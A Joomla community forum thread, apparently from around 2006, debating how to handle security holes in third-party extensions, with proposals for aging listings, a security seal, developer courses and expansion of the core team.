3PD policy and Joomla

[vscribe]

As I have been watching the outbreaks and attacks PRIMARLY it seems through 3PD coms/mods, I have a radical idea. Can the forum/dev team consider an "aging" process for 'listed' components. Such as ExtCalender. I have read that it was NOT under dev. (hence maintained) for two years, yet in 2 years, Joomla came out, several exploits were exposed and fix (per the security forum) and yes code delivered.

My thinking is that if you list a component, module, plug-in/mambot, it should have an "aging" date. Someone should follow up on the team and say..."this hasn't been worked on in 2 years...should we even recommend it?"

Not being a smart a** but rather a realist. If Joomla is ever to hit the Enterprise Level and I assume that's the plan/desire, then you cannot count on developers keeping up to date with code. It only gives Joomla a black eye.

My thoughts - awaiting flames.

[inkpassion]

I was possibly thinking in the extensions list there could be an option certifying a addon providing it passes some predefined criteria such as including "defined( '_VALID_MOS' ) or die( 'Restricted access' );"  might help out.

If they are on this site then the least that can be done is to say they pass some requirements. Ive got a rather large site I am almost ready to finish the migration on and these issues are making me second guess it.

[vscribe]

Exactly. In fact, maybe something simple such as:

This from Phil-taylors site

---
A number of sites have been hacked due to a security vulnerability in extcalendar. There are a couple of issues which need to be considered in relation to this. Firstly all Joomla php files (other than the index.php files) should contain a line which prevents direct access to the file froma web browser. This line does the trick:

defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ );

This should be the first line of php code in the file.

---

Shouldn't Joomla 1.0.1xx INSTALLER check for this line? I spent all day yesterday reading the security forum logs. This line came up a few times, 2 or 3. That should be enough for the installer routine to check .

Simple

If defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ ); True
then
DON'T INSTALL

That would force ALL developers to meet the published standards and to eliminate the one's who did not.

Hence eliminating this simple exploit that distrupted us and kicked Joomla in the A*** -

[PhilTaylor-Prazgod]

If more people took more care in developing then these hacks would never happen.

The components getting hacked are making fundermental mistakes in PHP PRogramming - maybe through inexperience...

Too many people call themselves "Developers" - Too many user trust "Developers"

[vscribe]

Phil - Completely agree.

[boylan]

While that is very true - and I am one of those people who know just enough to cause trouble - how should end-users separate the "developers" from the quality "Developers"?

I would love to see a "Joomla Security Seal of Approval" or something similar.  No component or add-on would be required to have it, but if it had the Seal, we would know that it stands up to the basic standards and practices of Joomla security.

Of course, such a thing would be hard to implement as it would take more time and manpower of the Devs, but making it optional would help.  At first, only a few would have the seal, but over the next few months, the list would grow. 

It wouldn't be as hard core as the PhpBB mods, just a thumbs up if something is quality.

People would be free to install non-Sealed extensions, but at least you'd have a simple way of telling what is mostly well written.

[PhilTaylor-Prazgod]

I would love to see a "Joomla Security Seal of Approval" or something similar.

Not so much as a Security Seal, but a "We have reviewed this component and see no reason why you should not use it" seal.

There has also been talk of a Joomla Developers Certification Award, a Joomla Expert User Award

This has been talked about since September 2003 (back in Mambo beta days) and every time it is said that it is too difficult to implement - I still to this day disagree.

[boylan]

Well, your voice carries much more weight than mine, but you have my full support in this matter.  I couldn't offer any skills to review things, unfortunately - but I would help you if you needed to make some more noise about the issue.

[vscribe]

It would take a consensus amongst the core dev teams to agree on a framework standard by which the code would be checked and a 3rd party disinterested group to carry the best weight.

That would help a lot though. However, good admin practices would go a VERY long way as well.

[PhilTaylor-Prazgod]

I dont think it takes much to look over a component and see "generally" if that developer is using the Joomla API, Database access class, mosGetParam, wether he takes into account intval passing, globals passing, and if the file allows other files to be remotely ncluded (like 99% of this weeks hacks!)

I'm not saying every developer is perfect - I know my code is not 100% - however there are certain things a developer should implement and be able to show he can implement.

I mean, how hard is it for a novice joomla component developer to include the direct access check as the first line in his file???

[vscribe]

Well....it must be harder than it seems....

[brian]

The problem is where do you stop checking. Yes its easy to check for things like defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ ); but what about the correct use of css or the required file permissions etc. And then you hae to consider that whilst a CMT may be ok with a vanilla install does it have to be checked against other extensions for compatibility issues.

But if all you want is for a "seal of security" then there are other issues to consider. By issuing such a seal is there any warranty, implied or otherwise, to the user that using the CMT your site will not be hacked?

A "seal of security" will have a potential commercial advantage for those commercial CMT which hve it so should they have to pay for that service? If so does that imply a warranty that the CMT has been well written and will have no problems working with joomla! for the developer and that they can rely on the tests performed by joomla so that they can announce that their CMT are secure.

Do yu see what I am saying? Its a never ending story which is why security testing of software is generally an expensive service provided by large corporates and not a team of hard working volunteers

[boylan]

Plus, I would think the reason that Joomla should start doing a review of some kind is that even if the security holes are in 3rd party extensions, having a lot of Joomla sites hacked looks really bad on Joomla's part.

While people who frequent this board a lot will make the disticntion - the vast majority of people will just come to the conclusion that Joomla = Bad.  That would be such a tragic waste of so much great work - but thats how consumers make decisions.

[vscribe]

Boylan is spot on.

It's easy on the forums (not throwing ANY STONES) to say it's not Joomlas fault. The truth is ITS NOT. But I saw one posting today from some who said they are abandoning Joomla all together due to "security concerns". And that he was running 1.07.

Ok. Would a security seal help if you don't use the upgraded components? no. You (the admin that is) has a responsiblity to keep your site safe, as sure as the 3PD should write better code.

I have been in the IT Industry (as a vendor) for 20 years. Code ALWAYS has security holes. Always has, always will. There was a piece of code on a remote access card at my former employeer that a fortune 100 company found. A SMNP hole that would allow a hacker to take over. Yet it was certfied 6 ways to sunday.

Yes - 3PD should do a better check. Joomla core could refuse to install if that wasn't in there (hint hint ), however I rest on my opinion that having better admin skills, are more important. The bad code would be dealt with quickly.

Great posting. It has stimulated lot of thought for me.

Vscribe

[boylan]

The problem is where do you stop checking. Yes its easy to check for things like defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ ); but what about the correct use of css or the required file permissions etc. And then you hae to consider that whilst a CMT may be ok with a vanilla install does it have to be checked against other extensions for compatibility issues.

But if all you want is for a "seal of security" then there are other issues to consider. By issuing such a seal is there any warranty, implied or otherwise, to the user that using the CMT your site will not be hacked?

I don't think that anybody's looking for a full and total approval.  Just something that says "this extension fulfills the basic security requirements".  It still might get hacked, and it may blow up your computer or cause you to lose any sense of self-esteem - but it isn't a blatantly obvious security hole.  Thats where we stop.

[brian]

Maybe all that needs to be done is to educate people about the GPL license that everyone should be reading when they install Joomla! especially this bit

NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

[PhilTaylor-Prazgod]

blatantly obvious security hole

My point is that all the custom components hacked failed to have the very most basic basic security check.

The first thing you learn (or should learn) as a PHP Developer (Forget Joomla developer - this is basic php) is not to include a file by setting the path with a variable - this is kinder-dev-garden stuff!!

Never do:
include($aFile);

That is SO first lesson in PHP Security.  Google for "php file include" brings about 96,700,000  results!

Adding the direct access check in Joomla is the most very basic of fundermental security basics (Enough "basics")

I would go further to say that someone who lacks the responsibilty to ensure he first understands fundermentals of PHP before releasing something as a "developer" should be harshly spoken to!

Final point:
The responsibility for good coding and as least security holes in a custom component should lie with the developer - not the user!

Maybe all that needs to be done is to educate people about the GPL license that everyone should be reading when they install Joomla! especially this bit

A great cop out clause :-) It speaks nothing of community responsibility or of having pride in your work.

[vscribe]

Doensn't mean much. Read Microsoft's package.

If Joomla wants to stay a toy, then that's the right way to approach things. Think about J! 1.5 is going to have LDAP and ORACLE (amongst other things). LDAP opens up an entire opporunity for Joomla to play in the Exchange space. Possibly as an app.

That's 1 single application.

Oracle. I can see putting a beatiful CMS tied with a powerful Oracle system --now to be fair, mysql is almost there- but in the minds of Corporate America that is a Right of Passage.

IBM is throwing hard into the opensource world...can you say some muscle there?

I guess I'm sort of confused by your point. Is it that is it has no warranty? Neither does any commerical software? I guess I don't understand what your trying to say..

[brian]

A great cop out clause :-) It speaks nothing of community responsibility or of having pride in your work.

So are you offering to provide these basic security checks for the community....As I am sure I would prefer for the core dev team to be concentrating on creating Joomla!

I am sure that your initative in organising a Joomla Developers course will help and the interest shown seems to indicate that there are people who want to learn how to create good , not just working, extensions

[PhilTaylor-Prazgod]

A great cop out clause :-) It speaks nothing of community responsibility or of having pride in your work.

So are you offering to provide these basic security checks for the community....As I am sure I would prefer for the core dev team to be concentrating on creating Joomla!

I am sure that your initative in organising a Joomla Developers course will help and the interest shown seems to indicate that there are people who want to learn how to create good , not just working, extensions

I already am providing these checks to my customers :-) and as of today none of the servers I maintain and none of the sites I personally maintain have been hacked (Remember that conversation we used to have Brian back in mambo beta days - neither you or I could replicate hack attempts on our servers :-) :-) )

This is exactly why I wanted to host a Joomla Developers course, and one of the things in the sessions is about basic security :-) The course has been a huge success so far (in booking terms) and we have had to move venue as we can no longer fit in the original venue!

I, personally, do not have time to moderate every component - however I am more than happy for my customers (as well as other Joomla users)  to email components to me for checking as long as they dont need a reply in 1 hour :-) HOWEVER there are people out there that do have the time - see the guy that posted loads of proof of concepts in this forum on one day the other day.

Joomla Core Devs is a team that needs to expand exponentially .  Don't get me started on that at this point in time as I think they are addressing internal issues at the moment and I'll wait to see what that does.

Even with cop out clauses - there is no excuse for introducing the most simplest to stop security holes into components by personal ignorance or inexperience :-)

[brian]

(Remember that conversation we used to have Brian back in mambo beta days - neither you or I could replicate hack attempts on our servers :-) :-) )

Well I can still replicate the attempts but none of them have been succesfull yet. Although all the attempts do sometimes have a knock on effect of slowing the server down whilst it rejects them

[PhilTaylor-Prazgod]

OT: LOL - my server is slow at the moment - email 8000+ customers :-) :-) I need to invest in a new mail server me thinks

P.s. - Im not inviting hack attempts ;-)

[brad]

Joomla Core Devs is a team that needs to expand exponentially.

Exactly what is happening now...the devlopement WG has already started to expand and new members are even being granted commit access on SVN. More details will be made available in the coming weeks we just need some time to finalise it.

[boylan]

I think this discussion is actually two separate parts.  Phil is advocating making Developers better, which is something that is defintely needed.  However, educating existing developers won't stop new devs from making new insecure extensions - and most importantly - won't help end-users understand which are the good extensions and which are the unkown quality extensions.

I again think that some seal, thumbs up, wink and a nod - or whatever - would serve two purposes.  One, it would let beginners know which extensions to trust - and by extension that Joomla is more trustworthy (see my previous post).  Second, it would give beginning devs a target to shoot at and motivation to get there. 

If there is some seal or something, most devs will want it for their extensions.  How do they get it? By writing good code.  How do they write good code?  Learn from guys like Phil - and his proposed courses. 

By combining the two approaches, we not only increase trust in Joomla, but also creat better extensions.  Either the seal or teaching developers on their own wouldn't be as effective as the two in conjunction.

[PhilTaylor-Prazgod]

The adding of a single developer is not what I am talking about - why restrict to small teams al the time - is the core afraid of hitting the big time? Having more developers on board will make Joomla shine - like other real open source projects where many MANY people contribute as developers.

At the moment to "contribute" to Joomla Development you have to join a working group or other team

When are the "core" team going to exponentially expand and allow more developers to CONTRIBUTE in real time the skills that they have.

The concept of the "core" team is a very foreign concept to an open source project. To quote someone who I recently spoke to (in the core team at the moment)

"Joomla is more like a closed project that has a free download"

There are 17 core devs listed on the blog roll, minus 3 that just "resigned" ( :P right)

Drupal have 70 SEVENTY people with write access to their main websites to maintain them (and only 4 people with write access to the main branch of core drupal code) but over 200 Core contributors (with write access) that have peer review before the code is committed to the core.

Where are the processes that allow 200 people to commit to Joomla core ?

(And no - I never want write access again - that brings with it too much abuse for my liking)

[vscribe]

yep - Because! Phil is one person. He's in the UK.

Long way from USA. Long way from other places.

There needs to be a scalable solution (what ever that may be).

[brad]

It's comming Phil... look to see more and more people being involved from the community in the very near future....

[PhilTaylor-Prazgod]

It's comming Phil... look to see more and more people being involved from the community in the very near future....

Fantastic :-) Three years in the making but still fantastic :-) :-)

[Jinx]

Hi Phil, all,

I think the topic has drifted off course a little, let me try and respond to your concerns.

1. Security

Security is always a major concern to everyone both users and developers. Security holes create unwanted and unneeded overheat for developers and users. Making a system like Joomla! secure isn't very easy as Joomla! is only as strong as it's weakest link.

The core developers go to great lenghts to make the system as secure as possible. The basic core installation of Joomla! is very secure, actualy it is more secure then Drupal as was proven by Rasmus on the DrupalConf in Amsterdam last year. Rasmus has a personal tool to check for XSS attacks and put both Drupal and Joomla! on the testbed. It seemed Joomla! withstood the test nicely.

We don't have any control over the security off third party extensions. We can advocate the use of standard programming techniques to help secure third party extensions but there is no way we can guarantuee they are completely secure.

There is no one solution fits all to solve possible security issues. We will need to further educate third party developers. Initiatives like Phil's course could be an option. Security related howto's and best pratices could be another option. There is no way however the core team can create a system to preform security and quality control checks on third party components. This is part of the responsability of the third party developers and of the site administrators. Both can prevent hacking attempts, one at the code level and the other at the server level.

The security dillemma is part of the nature of opensource. At one side the source code is freely available and this makes the system vulnerable to hackers,  on the other side the code becomes more secure due to the fact that bugs are spotted and fixed more swiflty.

2. Development

As we already announced we are implementing structural changes. Changes don't happen overnight, they require planning and short and long term vision. U might not have been aware but we have implemented various changes during the last 9 months. The extensions site, developer site and creation of the different working groups are all part of the structural changes Joomla! as a project is going through. A next step in this process is to openup development towards the community, make it more transparent and allow for community contributions outside of the core team.

Brad already explained work for this is underway and is going to be done one step at a time. Joomla! is becoming a bigger project that requires coordination and management in different areas. The code is also growing and we need extra hands and eyes to maintian it and to bring Joomla! to the next level. Adding alot of people into an existing process to speed it up will only have the opposite effect, u will slow it down. Therefor we are implementing the structural changes one step at a time. One of the first steps is the creation of a development working group, we have already added two developers being Enno, Andrew and Wilco (also project leader of the summer of code). I'm expecting to add a few others in the coming weeks. First goal of this working group is to help stabilise and bug fix 1.5.

There are also reasons why we are restricting the different teams to a smaller number of people. This has to do with basic team management and teamwork. Teams work very effiently if made up out of 6 till 8 people. If they grow larger they need to be split up. So no, we are not afraid of hitting the big time. We just have other ideas as how to structure ourselves.

We also don't want to compare us with other opensource project. Making a comparison with Drupal for example is hard. If u only look at the amount of code, drupal has 500 files in their package, we have 2.400 files in the 1.5 trunk. That's almost 5 times more. Joomla! 1.5, is running a full fledged object oriented framework that requires developers with skills in OO programming to design and maintain it. Drupal on the other hand is completely procedural and has a much smaller API. This doesnt' mean Joomla! is better then Drupal or vice-versa, they are just two completely different system that require different development methodologies.

Joomla! has about 250 contributors in different working groups. All of them have acces to the different Joomla! project resources based on their role. Currently there are about 15 people with direct commit access to the 1.5 trunk and about 15 people with direct commit access to the summer of code projects (the basis for Joomla! 2.0).

Personaly I don't think the truth lies in numbers but in the personality of the project. Do we want to be like other opensource projects ? No, can we learn from them ? Definitly, aslong as we don't forget who we are and where we come from. We will do this our way, without loosing sight of what opensource is all about and  for Joomla! that definitly means 'all together'.

[willebil]

I indeed agree with Johan. In this case size does not matter (where did i hear that one before?) It is the quality of the product that matters: secure, a well written framework, documentation, perfect support for 3rd party development etc. are most important. It is a fact Joomla is growing rapidly, and more and more people are willing to contribute, and yes when things are getting bigger more help is needed.

But there is a major rule in organizations, don't grow without structure, and certainly do not grow to fast! The success of Joomla is the the biggest threat. Past weeks lots of discussions have taken place to keep things going. The summer of code program is a very nice example where we do lot's of research for the new 2.0 framework, and some new managing structures are tested there also. Behind the scenes some changes have been implemented, some others are in progress. In time, when all is prepared well enough this will be communicated, it's up to the core to do this btw.